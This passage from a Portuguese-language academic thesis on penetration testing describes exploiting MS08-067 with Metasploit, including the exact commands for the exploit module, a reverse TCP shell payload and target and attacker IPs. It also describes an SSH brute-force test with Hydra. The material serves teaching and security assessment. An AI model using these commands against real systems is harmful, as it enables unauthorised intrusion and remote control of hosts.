Service Crafted RPC Request Handling Remote, em destaque na figura.
59
As informações como descrição, solução e exploits em relação a
vulnerabilidade são apresentadas na figura 4.14 e são destacadas.
Figura 4.14 – Informações sobre a vulnerabilidade Fonte: Elaborado pelos autores, 2014
A vulnerabilidade mostra que se trata de uma falha que pode ser atacada por
um exploit capaz de conseguir comandar o host remotamente. Nas informações
também são mostradas algumas sugestões de quais exploits utilizar, sendo que o
Metasploit está incluso entre eles e como é um pacote contido por padrão no
Backtrack, será o utilizado. Para acessar o Metasploit, abra um terminal e dê o
comando msfconsole.
60
Após o comando executado, demorará alguns segundos até que abra o
console do Metasploit. A figura 4.15 ilustra a tela inicial do Metasploit. O Metasploit
utiliza conjuntos de caracteres colocados em pontos da tela com intuito de formar
ilustrações, na figura utilizada no trabalho é um coelho, porém são várias ilustrações
que aparecem de forma randômica, então não é de se preocupar caso apareça
imagem diferente no próximo acesso ao Metasploit.
Figura 4.15 – Tela inicial do Metasploit Fonte: Elaborado pelos autores, 2014
Com o Metasplot em execução, uma boa dica para se achar qual exploit se
adequa a vulnerabilidade, é fazer uma busca com as suas iniciais com o comando
search, como mostra a figura 4.16.
Figura 4.16 – Resultado da busca de exploits com o comando search Fonte: Elaborado pelos autores, 2014
61
Como resultado tem-se apenas um exploit, que ao observar sua descrição é
exatamente do que se trata a vulnerabilidade. O exploit ms08_067_netapi abrirá
uma sessão por onde é possível executar comandos como se estivesse utilizando a
própria máquina alvo.
A preparação do exploit para o ataque é uma parte muito importante, pois
definem os parâmetros de ataque, e caso seja feita de maneira errada, o ataque
provavelmente não terá êxito.
A figura 4.17 ilustra a sequência de comandos para definição dos parâmetros
de ataque do exploit.
Figura 4.17 – Ajuste de parâmetros para o exploit Fonte: Elaborado pelos autores, 2014
Para definir o exploit a ser utilizado o comando é o use, que na situação do
trabalho é use exploit/windows/smb/ms08_067_netapi. Em conjunto com o exploit é
necessário a utilização de um payload. O payload abrirá uma conexão reversa,
deixando o servidor com uma porta de saída conectada ao host atacante e caso a
porta de entrada no servidor seja fechada, não se perde o comando sobre o alvo,
pois haverá a conexão na porta de saída. Para definir o payload a ser utilizado o
comando é set payload windows/shell/reverse_tcp. O próximo passo é definir o IP
do alvo com o comando set RHOST 192.168.50.6. Também se faz necessário
indicar na configuração o IP do atacante com o comando set LHOST 192.168.50.90.
Com todas as configurações corretamente ajustadas, pode-se disparar o ataque
com o comando exploit.
A figura 4.18 ilustra um ataque bem sucedido já com o acesso ao alvo, pode-
se executar comandos, excluir ou modificar pastas e arquivos, etc. Caso a intenção
seja outra, pode-se usar outra vulnerabilidade ou outro payload, porém basicamente
todos são para o mesmo fim, acesso privilegiado ao sistema alvo.
62
Figura 4.18 – Sucesso no ataque, sistema já invadido Fonte: Elaborado pelos autores, 2014
Com o comando ipconfig pode-se observar as configurações de IP do alvo, o
que também evidencia que o ataque obteve sucesso, como ilustra a figura 4.19.
Figura 4.19 – Ajuste de parâmetros para o exploit Fonte: Elaborado pelos autores, 2014
4.3 IMPORTÂNCIA DA ATUALIZAÇÃO DOS SERVIÇOS
Para evidenciar a importância de se manter os serviços executados pelo
servidor com uma boa configuração de segurança, foram feitas as mesmas
tentativas de intrusão no servidor DNS da Fatec Lins que possui o serviço SSH
atualizado.
63
Figura 4.20 – Serviço SSH mais atual no servidor DNS da Fatec Lins Fonte: Elaborado pelos autores, 2014
A figura 4.20 mostra uma versão mais recente em comparação com a versão
sendo executada pelo Red Hat. O serviço OpenSSH 5.4p1, executando no servidor
DNS da Fatec, tem, por padrão, uma correção na sua configuração muito
importante. O ataque com o Hydra foi utilizado seguindo os passos descritos
anteriormente nesse capítulo. O usuário root foi testado primeiramente e a figura
4.21 mostra seus resultados. Respectivamente, os usuários Admin e Teste foram
atacados também e com os mesmos resultados como aparece nas figuras 4.22 e
4.23.
Figura 4.21 – Resultado com usuário Root no servidor DNS da Fatec Lins Fonte: Elaborado pelos autores, 2014
64
Figura 4.22 – Resultado com usuário Admin no servidor DNS da Fatec Lins Fonte: Elaborado pelos autores, 2014
Figura 4.23 – Resultado com usuário Teste no servidor DNS da Fatec Lins Fonte: Elaborado pelos autores, 2014
65
Como pode-se notar, as senhas dos usuários Root, Admin e Teste não foram
encontrados; a mensagem [ERROR] could not connect to target port 22 é mostrada
após a tentativa de número 16 no ataque. Isso quer dizer que não se pôde conectar
ao alvo pela porta 22. Após constatar a mesma mensagem nas mesmas condições
com os testes feitos com os 3 usuários (Root, Admin e Teste), a conclusão da
correção de segurança é clara se comparado com o resultado obtido no ataque ao
Red Hat. Como o Hydra usa o método de força bruta, o serviço SSH presente no
servidor DNS da Fatec Lins fecha a porta 22 a partir da tentativa 17, devido muitas
tentativas erradas vindas do mesmo IP. Outros métodos ou tipos de ataque podem
ser utilizados para se conseguir acesso, pois não existe sistema 100% seguro,
porém demandará de mais tempo para se obter a invasão.
66
CONCLUSÃO
Atualmente as empresas buscam soluções para melhorias de segurança em
suas redes e em seus servidores, com o objetivo de evitar ataques e, como
consequência, manter a integridade dos dados, pois quando hackers conseguem
tornar um ataque bem sucedido, o prejuízo pode ser fatal para uma empresa. Com
base nesse fato, o objetivo deste trabalho foi aplicar a metodologia do teste de
penetração, para identificação de falhas em ambientes reais de servidores de uma
instituição, e para o aprendizado deste procedimento.
No processo de desenvolvimento do trabalho foram encontradas várias
dificuldades, como a falta de referências e ferramentas para que se pudesse
avançar nas etapas do teste de penetração. Porém, por meio das ferramentas
encontradas, dados importantes foram obtidos e, dessa forma, pesquisas foram
realizadas com base nesses dados e foi possível se chegar a etapa de ganho de
acesso.
O teste de penetração foi realizado com sucesso e concluiu-se que os
servidores da faculdade de tecnologia de Lins possuem vulnerabilidades críticas. Por
meio dessas vulnerabilidades críticas não foi possível se chegar à etapa de ganho
de acesso, contudo, informações confidenciais foram recuperadas do banco de
dados quando o ataque SQL Injection foi realizado. Devido ao fato de não ter sido
possível se chegar à etapa de ganho de acesso quando o teste foi realizado nos
servidores da Fatec, servidores vulneráveis foram colocados à prova. Assim sendo,
o ganho de acesso foi consolidado após pesquisas terem sido feitas com base nas
falhas existentes nos servidores vulneráveis.
A área de segurança de informação é muito ampla, com base neste trabalho
seria possível estender um estudo com objetivo de extinguir as vulnerabilidades
existentes nos servidores ou também estender um estudo para a realização de
ataques mais eficientes e até mesmo em serviços que não se encontram
vulneráveis. Informações essenciais para pesquisas podem ser obtidas por meio de
livros, Internet e Deep Web.
67
REFERÊNCIAS BIBLIOGRÁFICAS ASSUNÇÃO, M. F. A. Guia do Hacker Brasileiro. 2002. Disponível em: http://zip.net/bjm8gP. Acesso em: 08 abr 2014. DEBIAN. Securiting Debian Manual. Disponível em: <https://www.debian.org/doc/manuals/> Acesso em: 10 abr. 2014. ENGEBRETSON, P. The Basics of Hacking and Penetration Testing: Ethical Hacking and Penetration Testing Made Easy. Waltham. Elsevier, 2011. GIAVAROTO, S. C. R.; SANTOS, G. R. Backtrack Linux: Auditoria e Teste de Invasão em Redes de Computadores. Rio de Janeiro: Ciência Moderna, 2013. IRONGEEK. Manual Reference Pages – Amap. Disponível em: <http://www.irongeek.com/i.php?page=backtrack-3-man/amap> Acesso em: 10 abr. 2014. MAIA, L. P. Arquitetura de Redes de Computadores. Rio de Janeiro: LTC, 2009. NMAP. Guia de Referência do Nmap. Disponível em: <http://nmap.org/man/pt_BR/> Acesso em: 10 abr. 2014. PAULI, J. Introdução ao Web Hacking. São Paulo: Novatec, 2014. SECTOOLS. Top 125 Network Security Tools. Disponível em: <http://sectools.org/tag/web-scanners/> Acesso em: 10 abr. 2014. TENABLE. Nessus Documentation. Disponível em: <http://www.tenable.com/products/nessus/documentation> Acesso em: 10 abr. 2014. TENENBAUM, A. S. Redes de Computadores. 4. Ed. Rio de Janeiro: Elsevier Editora Ltda, 2003. TORRES, G. Redes de Computadores. Rio de Janeiro: Novaterra, 2009. ULBRICH, H. C.; VALLE, J. D. Universidade Hacker. 4. Ed. São Paulo. Digerati Books, 2004. WILHELM, T. Professional Penetration Testing: Creating and Operating a Formal Hacking Lab. Burlington: Elsevier, 2010.
68